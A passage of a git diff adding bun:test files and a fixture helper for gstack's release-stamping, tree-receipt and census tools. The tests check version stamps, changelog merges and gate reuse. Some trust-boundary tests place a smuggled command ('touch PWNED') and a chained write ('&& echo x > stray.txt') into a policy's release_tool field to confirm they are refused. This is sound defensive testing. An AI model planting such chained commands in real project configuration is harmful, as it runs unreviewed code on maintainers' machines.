run, counts consumed threads against the cohort, and reports invalid receipts', () => {+ const c = computeCensus('o/r', '2026-10-01', prs, ['jam_1', 'jam_2', 'jam_3']);+ expect(c).toMatchObject({ merged_prs: 6, with_receipt: 5, invalid_receipts: 1, unattended_prs: 2, consumed_prs: 2, runs: ['run-a', 'run-b', 'run-c'], threads: ['jam_1', 'jam_2', 'jam_4'], consumed_threads: ['jam_1', 'jam_4'], cohort_consumed: 1, adoption: '1/3 (cohort)', durable: 'yes', by_session_kind: { unattended: 3, interactive: 1 } });+ expect(c.prs.find(p => p.number === 6)).toMatchObject({ valid: false });+ const noCohort = computeCensus('o/r', '2026-10-01', prs, null);+ expect(noCohort.adoption).toBe('2/3 (threads seen; no cohort file)');+ });++ test('census --repo --since reads merged PRs through gh and prints the CENSUS line', () => {+ const repo = fixture();+ const env = ghShim(repo, {}, prs);+ const cohort = path.join(repo.root, 'cohort.txt');+ fs.writeFileSync(cohort, '# threads in the measured cohort\njam_1\njam_2\njam_3\n\n');+ const r = runBin(repo, 'gstack-ship-receipt', ['census', '--repo', 'o/r', '--since', '2026-10-01', '--cohort', cohort], env);+ expect(r.status).toBe(EXIT.ok);+ expect(r.out).toMatch(/^CENSUS: repo=o\/r since=2026-10-01 merged_prs=6 with_receipt=5 invalid=1 unattended=2 consumed=2 runs=3 threads=3 adoption=1\/3 \(cohort\) durable=yes$/m);+ const j = runBin(repo, 'gstack-ship-receipt', ['census', '--repo', 'o/r', '--since', '2026-10-01', '--json'], env);+ expect(JSON.parse(j.out)).toMatchObject({ repo: 'o/r', adoption: '2/3 (threads seen; no cohort file)' });+ expect(runBin(repo, 'gstack-ship-receipt', ['census', '--repo', 'o/r'], env).status).toBe(EXIT.usage);+ expect(runBin(repo, 'gstack-ship-receipt', ['census', '--repo', 'o/r', '--since', 'v9.9.9'], env).status).toBe(EXIT.fail);+ });+});diff --git a/test/helpers/restamp-fixture.ts b/test/helpers/restamp-fixture.tsnew file mode 100644index 000000000..a1bf8c1e2--- /dev/null+++ b/test/helpers/restamp-fixture.ts@@ -0,0 +1,170 @@+/**+ * Fixture repo for the C-stamp tests (gstack-ship-policy, gstack-restamp,+ * gstack-tree-receipt, gstack-ship-receipt): a bare origin plus a working+ * clone with a 4-digit VERSION, a package.json and lockfile, a CHANGELOG, a+ * `release:restamp` script that regenerates `generated/digest.md` from+ * VERSION, docs with `since:` / `vX` / `(was X)` mentions, and a committed+ * `.gstack/ship-policy.json`. Everything lives under os.tmpdir(), outside+ * any checkout, with its own hermetic git identity.+ */+import { spawnSync } from 'node:child_process';+import * as fs from 'node:fs';+import * as os from 'node:os';+import * as path from 'node:path';+import { gitArgvIn } from './scratch-repo';+import { mergeChangelogs } from '../../lib/changelog-check';++export const ROOT = path.resolve(import.meta.dir, '..', '..');+export const BIN = (name: string) => path.join(ROOT, 'bin', name);++export interface FixtureRepo { root: string; work: string; origin: string; home: string; git: (...args: string[]) => string; env: Record<string, string> }++export const BASE_POLICY = {+ $schema: 'https://github.com/garrytan/gstack/docs/ship-policy.md#schema-v1',+ bump: 'patch',+ queue_mode: 'stamp-at-merge',+ release_tool: 'node gen.js',+ release_outputs: ['generated/**'],+ stamp_paths: ['docs/**/*.md'],+ changelog: 'CHANGELOG.md',+ history: 'squash-ok',+ stamp_sensitive_gates: ['digest'],+};++export function makeFixtureRepo(opts: { policy?: Record<string, unknown> | null; version?: string; prefix?: string } = {}): FixtureRepo {+ const root = fs.mkdtempSync(path.join(os.tmpdir(), opts.prefix ?? 'gstack-restamp-fx-'));+ const origin = path.join(root, 'origin.git');+ const work = path.join(root, 'work');+ const home = path.join(root, 'home');+ fs.mkdirSync(home, { recursive: true });+ fs.mkdirSync(work, { recursive: true });+ const env = { GSTACK_HOME: home, GSTACK_STATE_DIR: home, HOME: home, GIT_CONFIG_GLOBAL: path.join(root, 'gitconfig'), GIT_CONFIG_NOSYSTEM: '1' };+ fs.writeFileSync(env.GIT_CONFIG_GLOBAL, '[user]\n\tname = t\n\temail = t@test\n[commit]\n\tgpgsign = false\n[init]\n\tdefaultBranch = main\n');+ const git = (...args: string[]): string => {+ const r = gitArgvIn(work, args, 30_000, { ...process.env, ...env });+ if (r.status !== 0) throw new Error(`git ${args.join(' ')} failed: ${r.stderr?.toString()}`);+ return r.stdout?.toString().trim() ?? '';+ };+ spawnSync('git', ['init', '-q', '--bare', origin], { timeout: 30_000, env: { ...process.env, ...env } });+ git('init', '-q', '-b', 'main');+ const version = opts.version ?? '1.2.3.0';+ const npm = version.split('.').slice(0, 3).join('.');+ fs.mkdirSync(path.join(work, 'docs'), { recursive: true });+ fs.mkdirSync(path.join(work, 'generated'), { recursive: true });+ fs.mkdirSync(path.join(work, '.gstack'), { recursive: true });+ fs.writeFileSync(path.join(work, 'VERSION'), version + '\n');+ fs.writeFileSync(path.join(work, 'package.json'), JSON.stringify({ name: 'fixture', version: npm, scripts: { 'release:restamp': 'node gen.js' }, dependencies: { 'left-pad': '1.2.3' } }, null, 2) + '\n');+ fs.writeFileSync(path.join(work, 'package-lock.json'), JSON.stringify({ name: 'fixture', version: npm, lockfileVersion: 3, packages: { '': { name: 'fixture', version: npm, dependencies: { 'left-pad': '1.2.3' } }, 'node_modules/left-pad': { version: '1.2.3' } } }, null, 2) + '\n');+ fs.writeFileSync(path.join(work, 'gen.js'), "const fs=require('fs');const v=fs.readFileSync('VERSION','utf8').trim();fs.writeFileSync('generated/digest.md',`# digest v${v}\\nbody\\n`);\n");+ fs.writeFileSync(path.join(work, 'generated', 'digest.md'), `# digest v${version}\nbody\n`);+ fs.writeFileSync(path.join(work, 'CHANGELOG.md'), `# Changelog\n\n## [${version}] - 2026-10-01\n\n- base release\n\n## [1.2.2.0] - 2026-09-01\n\n- older\n`);+ fs.writeFileSync(path.join(work, 'docs', 'notes.md'), `Previous release v${version}.\nleft-pad pinned at 1.2.3 (was 1.2.2)\n`);+ if (opts.policy !== null) fs.writeFileSync(path.join(work, '.gstack', 'ship-policy.json'), JSON.stringify(opts.policy ?? BASE_POLICY, null, 2) + '\n');+ git('add', '-A');+ git('commit', '-q', '-m', `base ${version}`);+ git('remote', 'add', 'origin', origin);+ git('push', '-q', 'origin', 'main');+ git('remote', 'set-head', 'origin', 'main');+ return { root, work, origin, home, git, env };+}++/** A PR branch from origin/main with an `[Unreleased]` CHANGELOG entry and a doc mentioning the version it expects. */+export function makePr(repo: FixtureRepo, branch: string, opts: { expects?: string; file?: string; changelog?: boolean } = {}): string {+ repo.git('checkout', '-q', 'origin/main', '-b', branch);+ const file = opts.file ?? `${branch}.txt`;+ fs.writeFileSync(path.join(repo.work, file), `${branch}\n`);+ if (opts.changelog !== false) {+ const cl = fs.readFileSync(path.join(repo.work, 'CHANGELOG.md'), 'utf8');+ fs.writeFileSync(path.join(repo.work, 'CHANGELOG.md'), cl.replace('# Changelog\n', `# Changelog\n\n## [Unreleased]\n\n- ${branch} change\n`));+ }+ if (opts.expects) fs.writeFileSync(path.join(repo.work, 'docs', `${branch}.md`), `since: ${opts.expects}\nRequires v${opts.expects} or later.\n`);+ repo.git('add', '-A');+ repo.git('commit', '-q', '-m', `feat ${branch}`);+ return repo.git('rev-parse', 'HEAD');+}++export function runBin(repo: FixtureRepo, name: string, args: string[], extraEnv: Record<string, string> = {}, cwd = repo.work) {+ const r = spawnSync(BIN(name), args, { cwd, encoding: 'utf8', timeout: 120_000, env: { ...process.env, ...repo.env, ...extraEnv } });+ return { status: r.status, out: r.stdout ?? '', err: r.stderr ?? '' };+}++export function restamp(repo: FixtureRepo, args: string[], extraEnv: Record<string, string> = {}) {+ return runBin(repo, 'gstack-restamp', ['--base', 'main', '--allow-repo-commands', ...args], extraEnv);+}++export function readFile(repo: FixtureRepo, rel: string): string {+ return fs.readFileSync(path.join(repo.work, rel), 'utf8');+}++/** Merge a branch into origin/main with a merge commit (the coordinator's merge) and return the new main head. */+export function mergeToMain(repo: FixtureRepo, branch: string): string {+ repo.git('checkout', '-q', 'main');+ repo.git('merge', '-q', '--no-ff', '--no-edit', branch);+ repo.git('push', '-q', 'origin', 'main');+ return repo.git('rev-parse', 'HEAD');+}++/**+ * Integrate origin/main into the checked-out branch the way /ship does at its+ * turn: a plain merge, with a CHANGELOG conflict resolved by lib/changelog-check+ * (the branch's Unreleased entries above main's released sections) and a version+ * file conflict taken from main. Any other conflict throws.+ */+export function mergeMain(repo: FixtureRepo): string {+ const r = gitArgvIn(repo.work, ['merge', '--no-ff', '--no-edit', '-q', 'origin/main'], 30_000, { ...process.env, ...repo.env });+ if (r.status !== 0) {+ const conflicts = repo.git('diff', '--name-only', '--diff-filter=U').split('\n').filter(Boolean);+ for (const c of conflicts) {+ if (c === 'CHANGELOG.md') {+ const merged = mergeChangelogs(repo.git('show', `:2:${c}`) + '\n', repo.git('show', `:3:${c}`) + '\n');+ if (merged === null) throw new Error(`fixture merge: CHANGELOG conflict is not a heading move`);+ fs.writeFileSync(path.join(repo.work, c), merged);+ } else if (/^(VERSION|package(-lock)?\.json)$/.test(c)) repo.git('checkout', '--theirs', '--', c);+ else throw new Error(`fixture merge: unexpected conflict in ${c}`);+ }+ repo.git('add', '--', ...conflicts);+ repo.git('commit', '-q', '--no-edit');+ }+ return repo.git('rev-parse', 'HEAD');+}++export function cleanup(repo: FixtureRepo): void {+ fs.rmSync(repo.root, { recursive: true, force: true });+}++/**+ * A `gh` on PATH that answers `gh pr view <n> --json ...` from a map of PR+ * number → JSON object and `gh pr list` with a fixed array, so queue-order+ * and PREDECESSOR MOVED checks run without the network.+ */+export function ghShim(repo: FixtureRepo, prs: Record<string, unknown>, list: unknown[] = []): { PATH: string } {+ const dir = path.join(repo.root, 'gh-shim');+ fs.mkdirSync(dir, { recursive: true });+ fs.writeFileSync(path.join(dir, 'prs.json'), JSON.stringify({ prs, list }));+ const script = [+ '#!/bin/sh',+ `DATA="${path.join(dir, 'prs.json')}"`,+ 'if [ "$1" = "pr" ] && [ "$2" = "view" ]; then',+ ' node -e "const d=require(process.argv[1]);const p=d.prs[process.argv[2]];if(!p){console.error(\'no such pr\');process.exit(1)}console.log(JSON.stringify(p))" "$DATA" "$3"',+ ' exit $?',+ 'fi',+ 'if [ "$1" = "pr" ] && [ "$2" = "list" ]; then node -e "console.log(JSON.stringify(require(process.argv[1]).list))" "$DATA"; exit $?; fi',+ 'echo "gh shim: unsupported $*" >&2; exit 1',+ '',+ ].join('\n');+ fs.writeFileSync(path.join(dir, 'gh'), script, { mode: 0o755 });+ return { PATH: `${dir}:${process.env.PATH ?? ''}` };+}++/** Record one evidence lane on the current HEAD of `cwd` and export a bundle for it. */+export function recordAndBundle(repo: FixtureRepo, cwd: string, lanes: Array<{ label: string; command: string }>, out: string, extraEnv: Record<string, string> = {}): string {+ for (const lane of lanes) {+ const r = runBin(repo, 'gstack-evidence', ['run', '--label', lane.label, '--', lane.command], extraEnv, cwd);+ if (r.status !== 0) throw new Error(`lane ${lane.label} failed: ${r.err}`);+ }+ const args = ['bundle', '--out', out, '--base', 'main', '--require', lanes.map(l => l.label).join(',')];+ for (const lane of lanes) args.push('--label', lane.label);+ const b = runBin(repo, 'gstack-evidence', args, extraEnv, cwd);+ if (b.status !== 0) throw new Error(`bundle failed: ${b.err} ${b.out}`);+ return b.out;+}diff --git a/test/restamp-command-boundary.test.ts b/test/restamp-command-boundary.test.tsnew file mode 100644index 000000000..ca26b5ac2--- /dev/null+++ b/test/restamp-command-boundary.test.ts@@ -0,0 +1,136 @@+/**+ * C1/C2 trust boundary: a policy file never authorizes execution. Pins the+ * refusal (exit 3, REPO_COMMANDS_NOT_ALLOWED, `nothing written`, commands+ * listed), the unreviewed bootstrap path, the release-tool contract (allowed+ * outputs, failure), and that every refusal leaves the tree and the journal+ * untouched.+ */+import { afterEach, describe, expect, test } from 'bun:test';+import * as fs from 'node:fs';+import * as path from 'node:path';+import { EXIT } from '../lib/headless-artifacts';+import { BASE_POLICY, cleanup, makeFixtureRepo, makePr, runBin, type FixtureRepo } from './helpers/restamp-fixture';++const repos: FixtureRepo[] = [];+const fixture = (opts?: Parameters<typeof makeFixtureRepo>[0]) => { const r = makeFixtureRepo(opts); repos.push(r); return r; };+afterEach(() => { while (repos.length) cleanup(repos.pop()!); });++const treeOf = (repo: FixtureRepo) => repo.git('status', '--porcelain') + '|' + repo.git('rev-parse', 'HEAD');+const journal = (repo: FixtureRepo) => path.join(repo.work, '.gstack', 'tmp', 'restamp-journal.json');++describe('repo commands run only with --allow-repo-commands', () => {+ test('standalone: the declared commands are listed, exit 3, nothing written (no file, no journal, no worktree)', () => {+ const repo = fixture();+ makePr(repo, 'feat-a');+ const before = treeOf(repo);+ const r = runBin(repo, 'gstack-restamp', ['--next', '--base', 'main']);+ expect(r.status).toBe(EXIT.refused);+ expect(r.err).toMatch(/repo commands not executed \(pass --allow-repo-commands\).*nothing written.*\(REPO_COMMANDS_NOT_ALLOWED\)/);+ expect(r.out).toContain('COMMAND: release_tool="node gen.js" cwd=.');+ expect(r.out).toMatch(/GSTACK_RESULT: skill=restamp status=refused run=/);+ expect(treeOf(repo)).toBe(before);+ expect(fs.existsSync(journal(repo))).toBe(false);+ expect(repo.git('worktree', 'list').split('\n')).toHaveLength(1);+ const json = JSON.parse(runBin(repo, 'gstack-restamp', ['--next', '--base', 'main', '--json']).out);+ expect(json).toMatchObject({ status: 'refused', code: 'REPO_COMMANDS_NOT_ALLOWED', result: 'refused' });+ expect(json.commands).toEqual([{ key: 'release_tool', command: 'node gen.js', cwd: '.' }]);+ });++ test('a policy without commands needs no flag; --dry-run still writes nothing', () => {+ const repo = fixture({ policy: { ...BASE_POLICY, release_tool: null, release_outputs: [] } });+ makePr(repo, 'feat-a');+ const before = treeOf(repo);+ const r = runBin(repo, 'gstack-restamp', ['--next', '--base', 'main', '--dry-run']);+ expect(r.status).toBe(EXIT.ok);+ expect(r.out).toContain('STAMP_VERSION: 1.2.4.0');+ expect(r.out).toContain('stage release_tool: skipped (no release_tool in policy)');+ expect(r.out).toMatch(/^\+1\.2\.4\.0$/m);+ expect(treeOf(repo)).toBe(before);+ expect(fs.existsSync(journal(repo))).toBe(false);+ });++ test('--policy-from head is the unreviewed bootstrap path: refused without the flag, labeled head (unreviewed) with it', () => {+ const repo = fixture({ policy: null });+ makePr(repo, 'feat-a');+ fs.writeFileSync(path.join(repo.work, '.gstack', 'ship-policy.json'), JSON.stringify({ ...BASE_POLICY, release_tool: null }) + '\n');+ const refused = runBin(repo, 'gstack-restamp', ['--next', '--base', 'main', '--policy-from', 'head']);+ expect(refused.status).toBe(EXIT.refused);+ expect(refused.err).toMatch(/--policy-from head.*needs --allow-repo-commands.*nothing written.*\(REPO_COMMANDS_NOT_ALLOWED\)/);+ const base = runBin(repo, 'gstack-restamp', ['--next', '--base', 'main', '--dry-run']);+ expect(base.out).toContain('policy=none (defaults;');+ expect(base.out).toContain('queue_mode=claim-at-open');+ const head = runBin(repo, 'gstack-restamp', ['--next', '--base', 'main', '--policy-from', 'head', '--allow-repo-commands', '--dry-run']);+ expect(head.status).toBe(EXIT.ok);+ expect(head.out).toContain('policy=head (unreviewed)');+ expect(head.out).toContain('queue_mode=stamp-at-merge');+ });++ test('a PR cannot smuggle a command: the committed base copy wins over the branch copy', () => {+ const repo = fixture({ policy: { ...BASE_POLICY, release_tool: null } });+ makePr(repo, 'feat-a');+ fs.writeFileSync(path.join(repo.work, '.gstack', 'ship-policy.json'), JSON.stringify({ ...BASE_POLICY, release_tool: 'touch PWNED' }) + '\n');+ repo.git('add', '-A'); repo.git('commit', '-q', '-m', 'smuggle');+ const r = runBin(repo, 'gstack-restamp', ['--next', '--base', 'main', '--allow-repo-commands', '--dry-run']);+ expect(r.status).toBe(EXIT.ok);+ expect(r.out).toContain('stage release_tool: skipped (no release_tool in policy)');+ expect(fs.existsSync(path.join(repo.work, 'PWNED'))).toBe(false);+ });++ test('POLICY_SOURCE_UNAVAILABLE (exit 3) when origin/<base> is unresolvable; the working-tree policy is not consulted', () => {+ const repo = fixture();+ makePr(repo, 'feat-a');+ const r = runBin(repo, 'gstack-restamp', ['--next', '--base', 'develop', '--allow-repo-commands']);+ expect(r.status).toBe(EXIT.refused);+ expect(r.err).toMatch(/policy source unavailable.*nothing written.*fix: git fetch origin develop --depth=1 \(POLICY_SOURCE_UNAVAILABLE\)/);+ expect(fs.existsSync(journal(repo))).toBe(false);+ });+});++describe('release-tool contract', () => {+ test('an output outside the allowed set refuses before any write (RESTAMP_OUTPUT_OUTSIDE_ALLOWED)', () => {+ const repo = fixture({ policy: { ...BASE_POLICY, release_tool: 'node gen.js && echo x > stray.txt', release_outputs: ['generated/**'] } });+ makePr(repo, 'feat-a');+ const before = treeOf(repo);+ const r = runBin(repo, 'gstack-restamp', ['--next', '--base', 'main', '--allow-repo-commands']);+ expect(r.status).toBe(EXIT.refused);+ expect(r.err).toMatch(/release_tool wrote outside the allowed set: stray\.txt.*nothing written.*\(RESTAMP_OUTPUT_OUTSIDE_ALLOWED\)/);+ expect(treeOf(repo)).toBe(before);+ expect(fs.existsSync(path.join(repo.work, 'stray.txt'))).toBe(false);+ expect(fs.readFileSync(path.join(repo.work, 'VERSION'), 'utf8')).toBe('1.2.3.0\n');+ expect(repo.git('worktree', 'list').split('\n')).toHaveLength(1);+ });++ test('a path declared in release_outputs is allowed; the same path undeclared is not', () => {+ const declared = fixture({ policy: { ...BASE_POLICY, release_tool: 'node gen.js && echo x > generated/extra.txt' } });+ makePr(declared, 'feat-a');+ expect(runBin(declared, 'gstack-restamp', ['--next', '--base', 'main', '--allow-repo-commands']).status).toBe(EXIT.ok);+ expect(fs.existsSync(path.join(declared.work, 'generated', 'extra.txt'))).toBe(true);+ const undeclared = fixture({ policy: { ...BASE_POLICY, release_outputs: [] } });+ makePr(undeclared, 'feat-a');+ const r = runBin(undeclared, 'gstack-restamp', ['--next', '--base', 'main', '--allow-repo-commands']);+ expect(r.status).toBe(EXIT.refused);+ expect(r.err).toMatch(/generated\/digest\.md.*\(RESTAMP_OUTPUT_OUTSIDE_ALLOWED\)/);+ });++ test('a failing release tool is RESTAMP_RELEASE_TOOL_FAILED with nothing written to the branch', () => {+ const repo = fixture({ policy: { ...BASE_POLICY, release_tool: 'node -e "process.exit(7)"' } });+ makePr(repo, 'feat-a');+ const before = treeOf(repo);+ const r = runBin(repo, 'gstack-restamp', ['--next', '--base', 'main', '--allow-repo-commands']);+ expect(r.status).toBe(EXIT.refused);+ expect(r.err).toMatch(/release_tool exited 7.*nothing written to the branch.*\(RESTAMP_RELEASE_TOOL_FAILED\)/);+ expect(treeOf(repo)).toBe(before);+ });++ test('the staging worktree is isolated: the release tool cannot see the branch checkout and runs in the staged content', () => {+ const repo = fixture({ policy: { ...BASE_POLICY, release_tool: 'node -e "require(\'fs\').writeFileSync(\'generated/cwd.txt\', process.cwd())"' } });+ makePr(repo, 'feat-a');+ const r = runBin(repo, 'gstack-restamp', ['--next', '--base', 'main', '--allow-repo-commands']);+ expect(r.status).toBe(EXIT.ok);+ const cwd = fs.readFileSync(path.join(repo.work, 'generated', 'cwd.txt'), 'utf8');+ expect(cwd).not.toBe(repo.work);+ expect(cwd).toContain('gstack-restamp-staging-');+ expect(fs.existsSync(cwd)).toBe(false);+ expect(repo.git('worktree', 'list').split('\n')).toHaveLength(1);+ });+});diff --git a/test/tree-receipt-stamp-sensitive.test.ts b/test/tree-receipt-stamp-sensitive.test.tsnew file mode 100644index 000000000..dfe462f9c--- /dev/null+++ b/test/tree-receipt-stamp-sensitive.test.ts@@ -0,0 +1,182 @@+/**+ * C3: the tree-equality receipt classifies hunk by hunk, keeps stamp-sensitive+ * gates on the rerun side, names the negative fixtures (a dependency pin equal+ * to the old version; a lockfile dependency entry), refuses `eligible` when the+ * predecessor moved, and emits the same receipt as JSON.+ */+import { afterEach, describe, expect, test } from 'bun:test';+import * as fs from 'node:fs';+import * as path from 'node:path';+import { EXIT } from '../lib/headless-artifacts';+import { cleanup, ghShim, makeFixtureRepo, makePr, readFile, recordAndBundle, restamp, runBin, type FixtureRepo } from './helpers/restamp-fixture';++const repos: FixtureRepo[] = [];+const fixture = (opts?: Parameters<typeof makeFixtureRepo>[0]) => { const r = makeFixtureRepo({ prefix: 'tree-receipt-', ...opts }); repos.push(r); return r; };+afterEach(() => { while (repos.length) cleanup(repos.pop()!); });++const LANES = [{ label: 'tests', command: 'true' }, { label: 'digest', command: 'cat generated/digest.md' }];++/** A gated head: pr-a stamped at 1.2.4.0 with both lanes recorded and bundled. */+function gated(repo: FixtureRepo, env: Record<string, string> = {}): { head: string; bundle: string } {+ makePr(repo, 'pr-a', { expects: '1.2.4.0' });+ fs.writeFileSync(path.join(repo.work, 'docs', 'deps.md'), 'left-pad: 1.2.4.0\n');+ repo.git('add', '-A'); repo.git('commit', '-q', '-m', 'deps doc');+ expect(restamp(repo, ['--version', '1.2.4.0']).status).toBe(EXIT.ok);+ repo.git('commit', '-qam', 'stamp 1.2.4.0');+ const bundle = path.join(repo.root, 'bundle.json');+ recordAndBundle(repo, repo.work, LANES, bundle, env);+ return { head: repo.git('rev-parse', 'HEAD'), bundle };+}++const receipt = (repo: FixtureRepo, args: string[], env: Record<string, string> = {}) => runBin(repo, 'gstack-tree-receipt', ['--base', 'main', ...args], env);++describe('tree receipt: stamps, stamp-sensitive gates and negative fixtures', () => {+ test('a restamp is same-modulo-stamps: tests reusable, the digest lane (stamp-sensitive) reruns, the diff is limited to stamp files', () => {+ const repo = fixture();+ const g = gated(repo);+ expect(restamp(repo, ['--version', '1.2.5.0']).status).toBe(EXIT.ok);+ repo.git('commit', '-qam', 'stamp 1.2.5.0');+ expect(readFile(repo, 'docs/pr-a.md')).toBe('since: 1.2.5.0\nRequires v1.2.5.0 or later.\n');+ const r = receipt(repo, ['--gated', g.head, '--bundle', g.bundle]);+ expect(r.status).toBe(EXIT.ok);+ expect(r.out).toMatch(/^version:\s+1\.2\.4\.0 -> 1\.2\.5\.0$/m);+ expect(r.out).toMatch(/^ stamp VERSION \(version-file\)$/m);+ expect(r.out).toMatch(/^ stamp package-lock\.json \(lockfile-root-version\)$/m);+ expect(r.out).toMatch(/^ stamp package\.json \(manifest-version\)$/m);+ expect(r.out).toMatch(/^ stamp CHANGELOG\.md \(changelog-heading\)$/m);+ expect(r.out).toMatch(/^ stamp docs\/pr-a\.md \(stamp_paths\)$/m);+ expect(r.out).toMatch(/^ stamp generated\/digest\.md \(release_outputs\)$/m);+ expect(r.out).toMatch(/^ gate tests: reusable \(identity matches; tree same modulo stamps\)$/m);+ expect(r.out).toMatch(/^ gate digest: rerun \(stamp-sensitive/m);+ expect(r.out).toMatch(/^TREE: same-modulo-stamps$/m);+ expect(r.out).toMatch(/^gate-reuse: eligible \(reusable: tests; rerun: digest\)$/m);+ expect(r.out).toContain('-since: 1.2.4.0');+ expect(r.out).toContain('+since: 1.2.5.0');+ expect(r.out).not.toContain('pr-a.txt');+ });++ test('negative fixture: a dependency pin equal to the old version is `changed`, not a stamp, even inside stamp_paths', () => {+ const repo = fixture();+ const g = gated(repo);+ expect(restamp(repo, ['--version', '1.2.5.0']).status).toBe(EXIT.ok);+ expect(readFile(repo, 'docs/deps.md')).toBe('left-pad: 1.2.4.0\n');+ fs.writeFileSync(path.join(repo.work, 'docs', 'deps.md'), 'left-pad: 1.2.5.0\n');+ repo.git('commit', '-qam', 'bump the pin by hand');+ const r = receipt(repo, ['--gated', g.head, '--bundle', g.bundle]);+ expect(r.status).toBe(EXIT.fail);+ expect(r.out).toMatch(/^ changed docs\/deps\.md \(stamp_paths: "left-pad: 1\.2\.4\.0" -> "left-pad: 1\.2\.5\.0"\)$/m);+ expect(r.out).toMatch(/^TREE: changed \(docs\/deps\.md\)$/m);+ expect(r.out).toMatch(/^gate-reuse: not-eligible \(tree changed: docs\/deps\.md\) — fix: gstack-evidence run --label <lane> -- <lane command> \(GATE_REUSE_NOT_ELIGIBLE\)$/m);+ });++ test('lockfile rule: only the root package version keys are stamps; a dependency entry is a change', () => {+ const repo = fixture();+ const g = gated(repo);+ const lock = JSON.parse(readFile(repo, 'package-lock.json'));+ lock.packages['node_modules/left-pad'].version = '1.2.4';+ fs.writeFileSync(path.join(repo.work, 'package-lock.json'), JSON.stringify(lock, null, 2) + '\n');+ repo.git('commit', '-qam', 'dependency moved');+ const r = receipt(repo, ['--gated', g.head, '--bundle', g.bundle]);+ expect(r.status).toBe(EXIT.fail);+ expect(r.out).toMatch(/^ changed package-lock\.json \(lockfile: a dependency entry changed \(only the root version keys are stamps\)\)$/m);+ expect(r.out).toMatch(/^TREE: changed \(package-lock\.json\)$/m);+ });++ test('a changed generated prompt or CHANGELOG entry is a change even when the version moved', () => {+ const repo = fixture();+ const g = gated(repo);+ expect(restamp(repo, ['--version', '1.2.5.0']).status).toBe(EXIT.ok);+ fs.appendFileSync(path.join(repo.work, 'generated', 'digest.md'), 'an extra generated line\n');+ fs.writeFileSync(path.join(repo.work, 'CHANGELOG.md'), readFile(repo, 'CHANGELOG.md').replace('- pr-a change', '- pr-a change, reworded'));+ repo.git('commit', '-qam', 'stamp plus edits');+ const r = receipt(repo, ['--gated', g.head, '--bundle', g.bundle, '--json']);+ expect(r.status).toBe(EXIT.fail);+ const j = JSON.parse(r.out);+ expect(j.files.find((f: any) => f.path === 'generated/digest.md')).toMatchObject({ verdict: 'changed', rule: 'release_outputs' });+ expect(j.files.find((f: any) => f.path === 'CHANGELOG.md')).toMatchObject({ verdict: 'changed', rule: 'changelog' });+ expect(j.residual.sort()).toEqual(['CHANGELOG.md', 'generated/digest.md']);+ expect(j.tree).toBe('changed');+ expect(j.gate_reuse).toBe('not-eligible');+ expect(j.code).toBe('GATE_REUSE_NOT_ELIGIBLE');+ });+});++describe('tree receipt: identity and predecessor', () => {+ test('without a bundle the identity is unknown and reuse is refused even on an equal tree', () => {+ const repo = fixture();+ const g = gated(repo);+ const r = receipt(repo, ['--gated', g.head]);+ expect(r.status).toBe(EXIT.fail);+ expect(r.out).toMatch(/^TREE: same-modulo-stamps$/m);+ expect(r.out).toMatch(/^gate-reuse: not-eligible \(none \(no evidence bundle; execution identity unknown\)\)/m);+ });++ test('an environment change under an identical tree (runner image) is not-eligible and names what changed', () => {+ const repo = fixture();+ const g = gated(repo, { GSTACK_RUNNER_IMAGE: 'ubuntu-24.04/20261001' });+ const r = receipt(repo, ['--gated', g.head, '--bundle', g.bundle], { GSTACK_RUNNER_IMAGE: 'ubuntu-24.04/20261008' });+ expect(r.status).toBe(EXIT.fail);+ expect(r.out).toMatch(/^identity:\s+bundle .* — changed: runner image ubuntu-24\.04\/20261001 -> ubuntu-24\.04\/20261008$/m);+ expect(r.out).toMatch(/^ gate tests: not-reusable \(identity changed: runner image/m);+ expect(r.out).toMatch(/^gate-reuse: not-eligible \(runner image ubuntu-24\.04\/20261001 -> ubuntu-24\.04\/20261008\)/m);+ const same = receipt(repo, ['--gated', g.head, '--bundle', g.bundle], { GSTACK_RUNNER_IMAGE: 'ubuntu-24.04/20261001' });+ expect(same.status).toBe(EXIT.ok);+ });++ test('a bundle produced on another tree is not the gated identity', () => {+ const repo = fixture();+ const g = gated(repo);+ expect(restamp(repo, ['--version', '1.2.5.0']).status).toBe(EXIT.ok);+ repo.git('commit', '-qam', 'stamp 1.2.5.0');+ const other = path.join(repo.root, 'other.json');+ recordAndBundle(repo, repo.work, LANES, other);+ const r = receipt(repo, ['--gated', g.head, '--bundle', other]);+ expect(r.status).toBe(EXIT.fail);+ expect(r.out).toMatch(/^gate-reuse: not-eligible \(bundle .* was produced on tree [0-9a-f]{12}, not the gated tree [0-9a-f]{12}\)/m);+ });++ test('PREDECESSOR MOVED: a predecessor ref or PR whose head is no longer the recorded one refuses with RESTAMP_PREDECESSOR_MOVED', () => {+ const repo = fixture();+ const recorded = repo.git('rev-parse', 'origin/main');+ const g = gated(repo);+ repo.git('checkout', '-q', 'main');+ fs.writeFileSync(path.join(repo.work, 'moved.txt'), 'moved\n');+ repo.git('add', '-A'); repo.git('commit', '-q', '-m', 'main moved'); repo.git('push', '-q', 'origin', 'main');+ const moved = repo.git('rev-parse', 'main');+ repo.git('checkout', '-q', 'pr-a');+ const byRef = receipt(repo, ['--gated', g.head, '--bundle', g.bundle, '--predecessor', recorded, '--predecessor-ref', 'origin/main']);+ expect(byRef.status).toBe(EXIT.fail);+ expect(byRef.out).toMatch(/^TREE: same-modulo-stamps$/m);+ expect(byRef.out).toContain(`PREDECESSOR MOVED ${recorded} -> ${moved} — fix: gstack-restamp --after <pr> again (RESTAMP_PREDECESSOR_MOVED)`);+ expect(byRef.out).toMatch(/^gate-reuse: not-eligible \(PREDECESSOR MOVED/m);+ const byPr = receipt(repo, ['--gated', g.head, '--bundle', g.bundle, '--predecessor', recorded, '--predecessor-pr', '7', '--json'], ghShim(repo, { 7: { headRefOid: moved } }));+ const j = JSON.parse(byPr.out);+ expect(j.predecessor).toEqual({ pr: '7', recorded_head: recorded, current_head: moved, moved: true });+ expect(j.code).toBe('RESTAMP_PREDECESSOR_MOVED');+ const still = receipt(repo, ['--gated', g.head, '--bundle', g.bundle, '--predecessor', recorded, '--predecessor-pr', '7'], ghShim(repo, { 7: { headRefOid: recorded } }));+ expect(still.status).toBe(EXIT.ok);+ expect(still.out).toMatch(/^predecessor:\s+#7 recorded=[0-9a-f]{12} current=[0-9a-f]{12}$/m);+ });++ test('--json carries every identifier the human rendering prints', () => {+ const repo = fixture();+ const g = gated(repo);+ const r = receipt(repo, ['--gated', g.head, '--bundle', g.bundle, '--json']);+ expect(r.status).toBe(EXIT.ok);+ const j = JSON.parse(r.out);+ expect(j).toMatchObject({ schema_version: 1, gated_head: g.head, current_head: g.head, tree: 'same-modulo-stamps', 